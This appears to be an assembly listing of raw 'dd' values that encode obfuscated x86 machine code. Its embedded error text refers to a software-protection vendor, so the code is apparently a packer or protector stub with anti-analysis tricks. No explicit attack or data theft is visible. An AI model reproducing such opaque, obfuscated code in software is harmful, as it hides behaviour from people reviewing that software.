		dd 8E9585Bh, 0D4000000h, 0D81DBC9h, 8B0903FEh, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0A78F6AD6h, 35958BDBh, 81061F0Bh, 21F7FABDh,	65726F06h
		dd 0B1840F61h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0F6E8C357h,	0DB42AA63h
		dd 9E89700h, 79000000h,	2EA8A3D5h, 0B9BE4840h, 72858D5Ah
		dd 500621F8h, 0F9AF858Dh, 8D500621h, 21F9D085h,	95FF5006h
		dd 61F00A1h, 0C60CC483h, 1F202585h, 4F684406h, 0FF96A318h
		dd 1F20D9B5h, 4D858D06h, 0FF061F39h, 8DD88BD0h,	21F9D085h
		dd 0D3FF5006h, 0F7FA858Dh, 8D500621h, 21F87285h, 0BD835006h
		dd 61F32C1h, 8D087400h,	21F99885h, 8D06EB06h, 21F98185h
		dd 858D5006h, 621F9D0h,	0A195FF50h, 83061F00h, 0B52910C4h
		dd 61F2C39h, 1FF995FFh,	0B70F061Fh, 0FF25D6h, 11E90000h
		dd 0E3000000h, 2D4CC4CEh, 0AE84C9A7h, 0CD51ACDBh, 0E80A0298h
		dd 0F05F883h, 6983h, 0FB8B6600h, 0DE185C7h, 1061Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 8B1B09C3h, 5C339578h, 85DBD89h, 858D061Fh, 621F82Eh
		dd 1CD9958Bh, 67E9061Fh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 87C5C352h
		dd 0BDB96656h, 0BD8359F6h, 61F32C1h, 30840F00h,	81000000h
		dd 0D734ECC7h, 59858D00h, 0F0621F8h, 482h, 12B96600h, 1CE9BBh
		dd 10E90000h, 1C000000h, 66629288h, 0ED33D49Dh,	0C217E15Eh
		dd 8DF5D794h, 21F83B85h, 8589F806h, 621F86Eh, 13890Fh
		dd 0EE90000h, 0E6000000h, 0E8C9C318h, 3695CDFCh, 45BA7DD8h
		dd 83D78BDEh, 1F32C1BDh, 850F0006h, 32h, 5E4ABA66h, 7F5BD83h
		dd 0F000622h, 3084h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0DCD85F3Ah, 0CCE9DB89h
		dd 66000010h, 8D5AD781h, 9789CDBFh, 485E92Ch, 0B5890000h
		dd 61F1EE9h, 83F9C08Bh,	1F06C1BDh, 9750006h, 1F51BD83h
		dd 7400061Fh, 8B535019h, 7D4B8C0h, 85890000h, 61F0F65h
		dd 0AFA49D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50177400h
		dd 7D4B853h, 85890000h,	61F0F65h, 0AC939D8Dh, 0D3FF0621h
		dd 9589585Bh, 61F07BDh,	31F5B509h, 0C08B061Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4EC35343h, 0ACF4A49Bh
		dd 6629F058h, 3F68D18Bh, 0BF000F00h, 730BE650h,	6AFFBF0Fh
		dd 68D0F00h, 0B000000h,	1F0165BDh, 6A006A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 8825C357h, 0DD95FF05h, 0F061F09h, 0C8Dh, 6810F00h, 29000000h
		dd 1F2B998Dh, 898D8B06h, 85061F2Ah, 6850FC0h, 89000000h
		dd 1F2F8995h, 0F2858906h, 0E90621F7h, 0Ah, 61DE4F3Ah, 3BE57345h
		dd 6A9930h, 13E9h, 767C9C00h, 0B63A1259h, 19A2DFE6h, 0A2F2378Dh
		dd 5F317A2Eh, 0BB60006Ah, 2D53F0C0h, 6A61F8h, 0E85B529h
		dd 6A061Fh, 6AD38Ah, 0D45BD8Bh,	858D061Fh, 621F9D0h, 2CF99589h
		dd 8950061Fh, 1F24D995h, 0E8016A06h, 12h, 1D16C548h, 0FDE14433h
		dd 33DD645Bh, 80247884h, 0B5898789h, 61F3005h, 13E85Fh
		dd 77B90000h, 0EAA558E7h, 0E55E098Bh, 0EA86C438h, 0F9EC0A6Eh
		dd 16A5FFEh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	4CC35242h, 586D344Dh, 276C14BAh, 6A016A54h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0E559C350h, 0C43EBA66h, 0F01FF68h, 3BC18100h, 83080196h
		dd 1F32C1BDh, 840F0006h, 18h, 2E99BD8Bh, 858D061Fh, 621F84Fh
		dd 0E1816650h, 0E959FD99h, 2Ch,	0F825858Dh, 6A0621h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 7AF74FC3h, 8E244E30h, 0CFBF0FEFh, 0E2816650h, 89500903h
		dd 1F0FC99Dh, 0F2B5FF06h, 8B0621F7h, 1F0785BDh,	0DE95FF06h
		dd 6A0621F7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 53DEC351h, 1091958Bh, 8559061Fh
		dd 32850FC0h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0ECC4C350h,	5D13B0F3h
		dd 0F0D2587h, 7CE9D7B7h, 8B000000h, 1F18C5BDh, 0F6858906h
		dd 6A0621F7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 96C2C357h, 10E88F42h, 10000000h
		dd 524EF65Dh, 9CD725D1h, 452C7077h, 8168FE50h, 0CF68EBE1h
		dd 0B5FF5A68h, 621F7F6h, 6890Fh, 0BD890000h, 61F1241h
		dd 6810Fh, 958B0000h, 61F1379h,	2C4195FFh, 958B061Fh, 61F171Dh
		dd 850FC085h, 3, 6AD08B66h, 0D5BD8B10h,	83061F31h, 1F32C1BDh
		dd 840F0006h, 22h, 8DCF8B66h, 21F84F85h, 88C0F06h, 51000000h
		dd 0D998D0Bh, 0E95F061Fh, 21h, 0D51BD89h, 858D061Fh, 621F825h
		dd 10E9h, 2EE1B700h, 0B27E383Fh, 9BE7D0DBh, 4E3B2BEFh
		dd 8D89503Dh, 61F2BFDh,	0F7F2B5FFh, 810F0621h, 17h, 12E9h
		dd 7A8B4D00h, 350F7F6Ch, 4CD059Bh, 0EA781AB0h, 0FFA2E360h
		dd 21F7EA95h, 9DBD8906h, 85061F15h, 9850FC0h, 66000000h
		dd 81C3C781h, 4581BA66h, 0F7F68589h, 60BA0621h,	0E86BBC48h
		dd 0Ch,	0A102B943h, 0E81108AAh,	693B5CD4h, 2EB58D2Bh, 6A5A061Fh
		dd 70E28100h, 6A69C6A3h, 0CB8B6600h, 0F7F6B5FFh, 6A0621h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0C97F56C3h, 0F13752CCh, 5E5BD89h, 8D89061Fh,	61F1B3Dh
		dd 0F7E295FFh, 29520621h, 1F32A195h, 9E95906h, 0A2000000h
		dd 8222A780h, 8254680Ah, 850FC085h, 2, 0B5FF5F56h, 621F7F6h
		dd 2C21958Bh, 8166061Fh, 0FFA6A8D7h, 1F2C4195h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0DB2A7BDFh, 0C085C428h, 1850Fh, 6AFC0000h, 6842B500h
		dd 80h,	0AE9h, 11E32500h, 0CA10C71h, 6AC293F1h,	0FD8D8903h
		dd 6A061F1Dh, 618D8B00h, 6A061F1Bh, 0C9950100h,	68061F09h
		dd 0C0000000h, 2CB98D8Bh, 0B5FF061Fh, 621F86Eh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 6DC35141h, 0E9819FCAh
		dd 0EBC7E413h, 305195FFh, 0F08A061Fh, 0FFFF883h, 46085h
		dd 0BE900h, 0FFB40000h,	85A9B54h, 79526621h, 12E93Bh, 3F1B0000h
		dd 0A95A228Fh, 0A19E14ADh, 1729176Eh, 87DD507Ah, 2DC85FFh
		dd 95890622h, 61F000Dh,	2DCBD83h, 0F020622h, 31484h, 2CDF8100h
		dd 81185169h, 475FFDE1h, 9F858D30h, 80005AF5h, 0BD8904F1h
		dd 61F020Dh, 8B66D0FFh,	0F2858DFBh, 0FF005AEFh,	0C98166D0h
		dd 0C08B88E5h, 13E9h, 921CC500h, 409E25CEh, 0F3D9D7D8h
		dd 5575968Fh, 0CF825986h, 6C1BD83h, 7500061Fh, 51BD8309h
		dd 61F1Fh, 53501974h, 0D8B8C08Bh, 89000007h, 1F0F6585h
		dd 0A49D8D06h, 0FF0621AFh, 83585BD3h, 1F1F51BDh, 17740006h
		dd 0D8B85350h, 89000007h, 1F0F6585h, 939D8D06h,	0FF0621ACh
		dd 0F585BD3h, 6E9C8B7h,	0E4000000h, 3E41353Dh, 6AC08B21h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 61ABC351h, 0B5F88B66h, 3F6824h, 850F000Fh
		dd 0Eh,	21852360h, 0F061F2Dh, 88h, 6A6100h, 3800F56h, 80000000h
		dd 6A5F8DF2h, 0F8BF0F00h, 9DD95FFh, 8589061Fh, 61F09D9h
		dd 8D8BC085h, 61F1D0Dh,	0F7F28589h, 8D890621h, 61F15B5h
		dd 0F01FF68h, 0E2816600h, 0BD831CFEh, 61F32C1h,	28840F00h
		dd 80000000h, 858D03D6h, 621F84Fh, 1BC1958Bh, 1FE9061Fh
		dd 0F000000h, 0C80h, 8D896000h,	61F18F9h, 0A873B966h, 8DD18B61h
		dd 21F82585h, 0F1816606h, 2950B12Ah, 1F1B45BDh,	0F2B5FF06h
		dd 0FF0621F7h, 21F7EA95h, 0FD9D0106h, 89061F2Ah, 21F7F685h
		dd 6870F06h, 89000000h,	1F06C995h, 0DA816606h, 85C72EB2h
		dd 61F20E5h, 0
		dd 3101958Bh, 0BD83061Fh, 621F7F6h, 5D840F00h, 0E9000001h
		dd 13h,	0E6B0E0F8h, 3F103D61h, 0AB86B72Ah, 88696636h, 8D36C9B9h
		dd 21FAD485h, 418D8B06h, 50061F12h, 13E9h, 56486800h, 34004281h
		dd 0BA500176h, 9C4440DAh, 0CC081F12h, 6A016Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 85C4CDC3h, 58D0FC1h,	0BA000000h, 5D9BCF0Bh, 0F7F6B5FFh
		dd 0D78B0621h, 0F7EE95FFh, 0FFF50621h, 21F7F6B5h, 718D8B06h
		dd 0FF061F15h, 1F2C4195h, 0AE86006h, 7A000000h,	82E10356h
		dd 0DA105207h, 0CEBF0FAEh, 6144B15Ah, 0F01FF68h, 0BD83FC00h
		dd 61F32C1h, 0D840F00h,	8D000000h, 21F84F85h, 0DE906h
		dd 0CA8B0000h, 0F825858Dh, 81660621h, 504D49D1h, 1501958Bh
		dd 0B529061Fh, 61F2099h, 0F7F2B5FFh, 0C9800621h, 0EA95FFACh
		dd 890621F7h, 1F23C59Dh, 0F6858906h, 6A0621F7h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 2450C351h, 0B5FFA118h, 621F7F6h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0CEC35040h,	0DBE6D4BAh, 0E695FF71h
		dd 660621F7h, 0B5FFFA8Bh, 621F7F6h, 6840Fh, 85290000h
		dd 61F1729h, 2C4195FFh,	9BB5061Fh, 0FFF7C3E9h, 7E9FFh
		dd 0EC400000h, 0A35B72EFh, 3FB5FF96h, 8B062203h, 1F003595h
		dd 5995FF06h, 89061F2Dh, 1F20E995h, 0B9858B06h,	6A061F0Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0FED2C351h, 9689617Ah, 8A0FC6FFh,	2, 18E94DB5h
		dd 0E9000006h, 13h, 0B885454Bh,	874B80D6h, 4E937DF3h, 4C64DCC5h
		dd 8D6D344Dh, 21FAF4B5h, 9BD8B06h, 0B9061F21h, 7896B467h
		dd 0A8EB858Dh, 0AE90621h, 67000000h, 0B3A777F9h, 0D0225D24h
		dd 66D0FF84h, 6AF98Bh, 0B8B0Fh,	6E90000h, 52000000h, 0E9D7E8DAh
		dd 0D9816619h, 95FFBDC8h, 61F0EE1h, 16F18D89h, 0F38B061Fh
		dd 0FE8h, 0F859EC00h, 0FC12B395h, 0ED572A5Fh, 756B429Ah
		dd 5440E781h, 8D5A6958h, 21A8EB85h, 0C9B70F06h,	6AD0FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0A38339C3h, 81006A7Eh, 0AD1F14F1h, 0E195FF2Eh, 0B2061F0Eh
		dd 80C08BA5h, 0BD8383E1h, 61F06C1h, 83097500h, 1F1F51BDh
		dd 19740006h, 0C08B5350h, 7D9B8h, 65858900h, 8D061F0Fh
		dd 21AFA49Dh, 5BD3FF06h, 51BD8358h, 61F1Fh, 53501774h
		dd 7D9B8h, 65858900h, 8D061F0Fh, 21AC939Dh, 5BD3FF06h
		dd 41858958h, 0F061F15h, 683h, 91858900h, 8B061F13h, 0EE9C0h
		dd 0A2570000h, 4F30E161h, 3FB7A9F4h, 0E3230C8Bh, 518D8B50h
		dd 8B061F31h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0C6BE9F01h, 610904C4h, 9E90FFEh
		dd 0A7000000h, 1DA05D6h, 85418ACCh, 0F99D8D53h,	8B061F31h
		dd 8B038903h, 43895043h, 0D89D8D50h, 8B062202h,	5B038903h
		dd 9FAB70Fh, 1F1541B5h,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0FE0F62C5h, 0C2D223ADh
		dd 0D59D8941h, 60061F1Eh, 6A61D48Ah, 0FFC3BF00h, 858D3EDBh
		dd 62202D8h, 0C8E0Fh, 8E0F0000h, 6, 31919529h, 8501061Fh
		dd 61F1AF9h, 79C28150h,	6A33E1C4h, 0CEBF0F60h, 31F9858Dh
		dd 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 120319C3h, 3432EF2Ch, 93F1BA66h, 55006A50h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0D9E5B96Ch, 323B2F11h, 0B1B589A8h, 6A061F31h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0DB904F4h, 0FC949DA6h, 8F0F006Ah, 16h, 11E9h, 0DA6EBA00h
		dd 77B5B91Ch, 0CF13FA13h, 1265CBCFh, 68D9AEh, 53000018h
		dd 95FFEE8Ah, 61F0881h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0B9C35040h, 48E18992h, 89A78D09h, 1F2D899Dh
		dd 36CA8106h, 0FF6AAD06h, 1F107595h, 0FEB70F06h, 33FB5FFh
		dd 6FBA0622h, 0FF7C267Fh, 1F2D5995h, 4DBD8B06h,	8D061F1Fh
		dd 1F31F985h, 0DD8D8B06h, 89061F13h, 1F0B4DBDh,	18408B06h
		dd 5AEA8166h, 3985C702h, 61F12h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 136AC356h
		dd 4B1CEC7Fh, 8B314403h, 0C1BD83CBh, 61F32h, 38840Fh, 958B0000h
		dd 61F13F9h, 8C3Dh, 0E9830F00h,	0B5000001h, 2FE9D5h, 33570000h
		dd 1F32BD95h, 8A0F5F06h, 12h, 0DE9h, 6D18A000h,	28A29CB4h
		dd 8F034445h, 963D5926h, 0F000000h, 1B783h, 89B96600h
		dd 9F858D82h, 0E9005AF5h, 0Bh, 0D09E75C9h, 6EA06E20h, 0FF475C20h
		dd 95958BD0h, 8D061F0Fh, 5AEFF285h, 0B9853100h,	0FF061F31h
		dd 57006AD0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 897F9B57h, 1F129585h, 83C08B06h,	1F06C1BDh
		dd 9750006h, 1F51BD83h,	7400061Fh, 8B535019h, 0BC6B8C0h
		dd 85890000h, 61F0F65h,	0AFA49D8Dh, 0D3FF0621h,	0BD83585Bh
		dd 61F1F51h, 50177400h,	0BC6B853h, 85890000h, 61F0F65h
		dd 0AC939D8Dh, 0D3FF0621h, 8B60585Bh, 859589D9h, 61061F05h
		dd 158589h, 0C08B061Fh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0FBC35141h, 63047671h, 0FFF883F9h, 60850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 6D2316C3h, 0AD9D295Dh, 0C7061F16h, 1F2A5585h
		dd 6, 0A58D8900h, 0E9061F02h, 153h, 0E9D6BF0Fh,	5Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0AC35545h, 0F883A210h
		dd 38850F01h, 29000000h, 1F2C4D8Dh, 141E906h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 9D2386C3h, 890D630Fh, 1F015D8Dh, 71B52906h, 0E9061F15h
		dd 0FFFFF260h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	39C35545h, 6026A3ABh, 8A5BDF80h, 7E861F4h, 8A000000h
		dd 10EB21C7h, 5AF86E9Dh, 9D89C08Bh, 61F1D11h, 6C1BD83h
		dd 7500061Fh, 51BD8309h, 61F1Fh, 53501974h, 0DDB8C08Bh
		dd 89000007h, 1F0F6585h, 0A49D8D06h, 0FF0621AFh, 83585BD3h
		dd 1F1F51BDh, 17740006h, 0DDB85350h, 89000007h,	1F0F6585h
		dd 939D8D06h, 0FF0621ACh, 6A585BD3h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0FD42C356h
		dd 858D333Eh, 6A061F07h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 6C62C356h, 0BD8B6047h
		dd 61F2CA5h, 0D388E681h, 8B6168E8h, 558501C0h, 0E9061F10h
		dd 233h, 8DFABF0Fh, 2200DC85h, 2840F06h, 8B000000h, 0D48589FAh
		dd 0F062202h, 68Ch, 0B9BD8B00h,	0E9061F16h, 75h, 8D9EE180h
		dd 21FEE485h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0C806E0BEh, 0FE94FC7h, 2000000h
		dd 0DDD3C224h, 122A0018h, 0E55827EDh, 6A404972h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 162FC350h, 253DD487h, 8964FBCBh, 1F0299B5h, 0D4858906h
		dd 8B062202h, 1F1145BDh, 8D346A06h, 1F0BD985h, 0B5FF5006h
		dd 62202D4h, 95FF006Ah,	61F16E5h, 0F07F883h, 16284h, 0DB8C6600h
		dd 0F04C3F6h, 0FC85h, 2585C600h, 56061F20h, 0A8B85268h
		dd 0D9B5FF9Ch, 8D061F20h, 1F394D85h, 6AD0FF06h,	10006804h
		dd 646A0000h, 0D0FF006Ah, 3478589h, 85C60622h, 61F2025h
		dd 0AC9B6847h, 0B5FFEC18h, 61F20D9h, 394D858Dh,	0D0FF061Fh
		dd 0F08BD0FFh, 202585C6h, 684F061Fh, 0C62F2661h, 1BE5B5FFh
		dd 858D061Fh, 61F394Dh,	9D8DD0FFh, 6220343h, 56286A53h
		dd 0C085D0FFh, 85C60075h, 61F2025h, 64986841h, 0B5FFDB87h
		dd 61F1BE5h, 394D858Dh,	0D0FF061Fh, 3608589h, 85C60622h
		dd 61F2025h, 0E7A4684Ch, 0B5FF80A4h, 61F1BE5h, 394D858Dh
		dd 0D0FF061Fh, 3479D8Bh, 5B8D0622h, 9D8D5304h, 622034Ch
		dd 0FF006A53h, 479D8BD0h, 0C7062203h, 103h, 0C43C700h
		dd 2, 1B2985C7h, 61Fh, 6A0000h,	6A006Ah, 3479D8Bh, 6A530622h
		dd 43B5FF00h, 0FF062203h, 22036095h, 2585C606h,	45061F20h
		dd 0A5F79768h, 51B5FF92h, 8D061F2Ch, 1F394D85h,	6AD0FF06h
		dd 0FF026A00h, 0DB8C66D0h, 7504C3F6h, 479D8B32h, 0C7062203h
		dd 0C43h, 6A0000h, 9D8B006Ah, 6220347h,	0FF006A53h, 220343B5h
		dd 6095FF06h, 0FF062203h, 220343B5h, 7595FF06h,	6A061F10h
		dd 0E195FF00h, 81061F0Eh, 0C0397AC9h, 6FCF8152h, 8D49439Dh
		dd 22386D85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 5174C8EDh, 86E7D5C5h, 0BF0F975Bh
		dd 0AD8D01FAh, 50061F24h, 0E858D8Bh, 0FF64061Fh, 35h, 0C4E98100h
		dd 64067566h, 2589h, 0BD8B0000h, 61F2AF5h, 20F1BD83h, 0F00061Fh
		dd 7D84h, 0CE85000h, 3000000h, 23DB03B0h, 0E11C6260h, 89EBC065h
		dd 1F0329BDh, 835A5F06h, 1F0EF5BDh, 850F0106h, 56h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0CEC35545h, 71739193h
		dd 0C9A193DEh, 418D0160h, 3061F0Ah, 1F0FC1BDh, 0BD806106h
		dd 6220760h, 17850F00h,	8B000000h, 1F2C2195h, 18BE906h
		dd 958B0000h, 61F0891h,	2B6D8D8Bh, 0DB33061Fh, 6800Fh
		dd 85310000h, 61F1FEDh,	8A60C033h, 0F58D8BE6h, 61061F19h
		dd 73F0F40h, 58F640Bh, 0
		dd 6A04C483h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0E931C353h, 1A7075E3h,	0E9D445B8h
		dd 0Ch,	0B63C75h, 29D9CD18h, 704A52D1h,	9D9DBF66h, 7E9h
		dd 0CDE64400h, 58D70167h, 0FFFFB83h, 0E84h, 0E1950B00h
		dd 0E9061F16h, 0F3h, 0E9D7BF0Fh, 86h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0E5C35646h,	1C21958Bh, 8B66061Fh
		dd 244C8BD3h, 0A481C70Ch, 0FF000000h, 83FFFFFFh, 0B881h
		dd 0C0330400h, 245C8BC3h, 0E8550Ch, 5D000000h, 388FED81h
		dd 838B0622h, 0B8h, 393D858Dh, 83890622h, 0B8h,	0C3C0335Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 16C35141h
		dd 1E1DBD89h, 858D061Fh, 6223885h, 0B199503h, 0F850061Fh
		dd 0FF6425B5h, 35h, 0DE800h, 59E10000h,	0C53FB1DBh, 9CE7BBF3h
		dd 817A3667h, 591D9CD9h, 89645916h, 25h, 45952900h, 0B9061F0Fh
		dd 0Ah,	55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h, 34B640h
		dd 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h,	1F2A6185h
		dd 106h, 58F6400h, 0
		dd 6A04C483h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0CB39C352h, 39444B1Fh,	6D9AC61Ch
		dd 3A64F8BAh, 0C0B2604Eh, 61DF8B66h, 0D549C781h, 0C08B31B1h
		dd 0BA59589h, 0BF66061Fh, 0BD83D682h, 61F06C1h,	83097500h
		dd 1F1F51BDh, 19740006h, 0C08B5350h, 43DB8h, 95858900h
		dd 8D061F13h, 21B00B9Dh, 5BD3FF06h, 51BD8358h, 61F1Fh
		dd 53501774h, 43DB8h, 95858900h, 8D061F13h, 21ACAC9Dh
		dd 5BD3FF06h, 0F44ABA58h, 0BE94667h, 67000000h,	0B5D2BC70h
		dd 0EFE794D2h, 6A5E47h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 4F29FFC3h, 31A63857h, 1F063D9Dh
		dd 0E9C08B06h, 13Ah, 4,	35382E31h, 35h,	6 dup(0)
		dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h
		dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h
		dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h
		dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h
		dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h
		dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h
		dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h
		dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh
		dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh
		dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh
		dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh
		dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h
		dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh
		dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh
		dd 61F1BA1h, 2D840F00h,	8D000001h, 21AAC385h, 858D5006h
		dd 621AA2Dh, 16850h, 95FF8000h,	621AAD3h, 3A18858Dh, 8D500622h
		dd 223A2285h, 6A5006h, 858D006Ah, 621AA41h, 0C3B5FF50h
		dd 0FF0621AAh, 1F312595h, 18858D06h, 5006223Ah,	3A26858Dh
		dd 6A500622h, 8D006A00h, 21AA5385h, 0B5FF5006h,	621AAC3h
		dd 312595FFh, 858D061Fh, 6223A18h, 32858D50h, 5006223Ah
		dd 6A006Ah, 0AAA0858Dh,	0FF500621h, 21AAC3B5h, 2595FF06h
		dd 8D061F31h, 223A1885h, 858D5006h, 6223A3Ah, 6A006A50h
		dd 0BE858D00h, 500621AAh, 0AAC3B5FFh, 95FF0621h, 61F3125h
		dd 3A18858Dh, 8D500622h, 223A3685h, 6A5006h, 858D006Ah
		dd 621AAA7h, 0C3B5FF50h, 0FF0621AAh, 1F312595h,	18858D06h
		dd 5006223Ah, 3A2A858Dh, 6A500622h, 8D006A00h, 21AAAF85h
		dd 0B5FF5006h, 621AAC3h, 312595FFh, 858D061Fh, 6223A18h
		dd 2E858D50h, 5006223Ah, 6A006Ah, 0AAB6858Dh, 0FF500621h
		dd 21AAC3B5h, 2595FF06h, 0FF061F31h, 21AAC3B5h,	0F595FF06h
		dd 0E9061F2Dh, 0A2h, 0A09BD83h,	0F00061Fh, 9584h, 0F5BD8300h
		dd 61F0Eh, 11850Fh, 958B0000h, 61F1BB5h, 1CF8C281h, 0FE90000h
		dd 8D000000h, 1F31F995h, 34528B06h, 0C340C281h,	95893BD4h
		dd 61F0215h, 215BD83h, 0F00061Fh, 5584h, 159D8B00h, 83061F02h
		dd 38B4CC3h, 3A228589h,	9D8B0622h, 61F0215h, 8B50C383h
		dd 26858903h, 8B06223Ah, 1F02159Dh, 54C38306h, 8589038Bh
		dd 6223A32h, 2159D8Bh, 0C383061Fh, 89038B58h, 223A3685h
		dd 159D8B06h, 83061F02h, 38B5CC3h, 3A2A8589h, 0BD830622h
		dd 61F1BA1h, 0D850F00h,	83000000h, 1F0A09BDh, 840F0006h
		dd 68h,	3A3AB5FFh, 0B5FF0622h, 6223A2Eh, 3A2AB5FFh, 0B5FF0622h
		dd 6223A36h, 3A32B5FFh,	0B5FF0622h, 6223A26h, 3A22B5FFh
		dd 858D0622h, 6223A1Ch,	54858D50h, 5006223Ah, 365858Dh
		dd 0FF50061Fh, 1F00A195h, 24C48306h, 858D406Ah,	6223A3Eh
		dd 65858D50h, 50061F03h, 95FF006Ah, 61F16E5h, 95FF016Ah
		dd 61F0EE1h, 18EBC18Bh,	9B46F317h, 5 dup(0)
		dd 20BE9h, 5C8B6000h, 0E82424h,	5D000000h, 3DDBED81h, 0C2610622h
		dd 0E6E90004h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
		dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
		dd 0F6E90008h, 0FFFFFFh, 0
		dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 223E13B5h,	0E68106h
		dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h,	223E17B5h
		dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h,	8C6650C3h
		dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
		dd 61F0215h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh,	2404FF58h
		dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 1F2D7595h, 10F5006h
		dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h,	2588966h
		dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 61F0215h
		dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
		dd 0A03E380h, 38840FDBh, 0BB000000h, 2,	215858Bh, 1886061Fh
		dd 850FDB0Ah, 0FFFFFFF6h, 206D85C7h, 61Fh, 448B0000h, 988B0824h
		dd 1000h, 10009889h, 188B0000h,	0AE91889h, 0C7000000h
		dd 1F206D85h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
		dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
